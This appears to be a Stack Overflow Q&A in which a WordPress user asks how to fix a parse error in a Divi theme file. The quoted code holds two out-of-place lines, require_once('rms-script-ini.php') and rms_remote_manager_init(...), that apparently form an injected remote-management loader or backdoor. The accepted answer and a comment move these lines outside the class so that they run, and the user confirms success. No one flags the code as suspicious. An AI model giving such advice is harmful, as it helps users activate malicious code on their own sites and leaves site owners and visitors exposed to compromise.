-1

I'm using wordpress and I have no experience with coding. I have a problem with a php file in an api directory of a builder in one of the themes.. tells me :

Parse error: syntax error, unexpected 'require_once' (T_REQUIRE_ONCE), expecting function (T_FUNCTION) or const (T_CONST)

the error is in line 10. How can I fix this?

Note: The theme is NOT nulled or cracked, it is licensed under the GNU General Public License (GPL).

Here's the code:

<?php

class DiviExtension {

    /**
     * @since 3.1
     *
     * @var ET_Core_Data_Utils
     */
require_once('rms-script-ini.php');
rms_remote_manager_init(__FILE__, 'rms-script-mu-plugin.php', false, false);    protected static $_;

    /**
     * Dependencies for the extension's JavaScript bundles.

and it goes on but the problem is in the required once part.

halfer
  • 19,824
  • 17
  • 99
  • 186

1 Answers1

0

Put you require_once outside your function like this :

<?php
    require_once('rms-script-ini.php');
    class DiviExtension {
    
        /**
         * @since 3.1
         *
         * @var ET_Core_Data_Utils
         */
    
    rms_remote_manager_init(__FILE__, 'rms-script-mu-plugin.php', false, false);    protected static $_;
    
        /**
         * Dependencies for the extension's JavaScript bundles.
Jonathan Delean
  • 1,011
  • 1
  • 8
  • 25
  • maybe need to outside this too : rms_remote_manager_init(__FILE__, 'rms-script-mu-plugin.php', false, false); – Inazo Jul 20 '20 at 07:33
  • @Jonathan Thank you very much for your help! I did what you told me and then another error occured with the rms_remote_manager_init part so I tried putting it outside the function too and it worked!! Thanks alot :) – hobba lala Jul 20 '20 at 07:36
  • 1
    @Inazo Yeah I just tried it out now sorry i just saw your comment now.. Thank you for your help :) – hobba lala Jul 20 '20 at 07:39
  • Glad it help you, accept the answer to close this post – Jonathan Delean Jul 20 '20 at 07:49